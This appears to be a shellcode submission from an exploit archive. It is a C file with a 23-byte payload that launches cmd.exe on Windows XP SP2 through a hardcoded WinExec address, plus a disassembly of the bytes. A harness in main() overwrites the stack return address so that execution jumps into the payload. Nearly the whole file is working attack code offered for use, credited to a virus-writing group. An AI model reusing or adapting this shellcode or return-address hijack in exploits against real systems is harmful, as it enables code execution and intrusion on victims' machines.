/* win32/xp sp2 (En + Ar) cmd.exe 23 bytes Author : AnTi SeCuRe TeaM : SauDi ViRuS TeaM Email : AnTi-SeCuRe@HoTMaiL.CoM Site : WwW.VxX9.Cc Thx To : Stack , SauDi ViRuS TeaM ( RENO - Dr.php - ! BaD BoY ! - Jetli007 - Gov.hacker ) Description : It's a 23 Byte Shellcode which Execute Cmd.exe Tested Under Windows Xp SP2 English and arabic . get the following if we disassemle this code compiled with olly debugger 00402000 > 8BEC MOV EBP,ESP 00402002 . 68 65786520 PUSH 20657865 00402007 . 68 636D642E PUSH 2E646D63 0040200C . 8D45 F8 LEA EAX,DWORD PTR SS:[EBP-8] 0040200F . 50 PUSH EAX 00402010 . B8 8D15867C MOV EAX,kernel32.WinExec 00402015 . FFD0 CALL EAX */ #include <stdio.h> unsigned char shellcode[] = "\x8b\xec\x68\x65\x78\x65" "\x20\x68\x63\x6d\x64\x2e" "\x8d\x45\xf8\x50\xb8\x8D" "\x15\x86\x7C\xff\xd0"; int main () { int *ret; ret=(int *)&ret+2; printf("Shellcode Length is : %d\n",strlen(shellcode)); (*ret)=(int)shellcode; return 0; }